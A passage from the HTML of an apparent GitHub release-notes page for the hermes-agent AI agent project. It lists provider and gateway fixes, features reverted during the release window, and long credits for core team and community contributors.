<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajzrva-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajzrva-sys">@ajzrva-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alastraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alastraz">@alastraz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-fireworks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-fireworks">@alex-fireworks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-heritier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-heritier">@alex-heritier</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex107ivanov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex107ivanov">@alex107ivanov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexFucuson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexFucuson9">@AlexFucuson9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allenliang2022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allenliang2022">@allenliang2022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Almurat123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Almurat123">@Almurat123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlsayedHoota/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlsayedHoota">@AlsayedHoota</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvarosanchez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvarosanchez">@alvarosanchez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmAzing129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmAzing129">@AmAzing129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreasHiltner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreasHiltner">@AndreasHiltner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhomeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhomeyer">@andrewhomeyer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ansel-f/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ansel-f">@ansel-f</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antydizajn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antydizajn">@antydizajn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arnispiekus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arnispiekus">@arnispiekus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asscan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asscan">@asscan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinlaw076/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinlaw076">@austinlaw076</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bautrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bautrey">@bautrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bigstar0920/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bigstar0920">@bigstar0920</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Black0Fox0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Black0Fox0">@Black0Fox0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, @bo.fu, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brendandebeasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brendandebeasi">@brendandebeasi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bruce-anle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bruce-anle">@Bruce-anle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brunz-me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brunz-me">@brunz-me</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bytesnail/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bytesnail">@bytesnail</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/catbearlove1-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/catbearlove1-lang">@catbearlove1-lang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgarwood82/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgarwood82">@cgarwood82</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharmingGroot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharmingGroot">@CharmingGroot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CocaKova/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CocaKova">@CocaKova</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Code-suphub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Code-suphub">@Code-suphub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeForgeNet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeForgeNet">@CodeForgeNet</a>,<br>
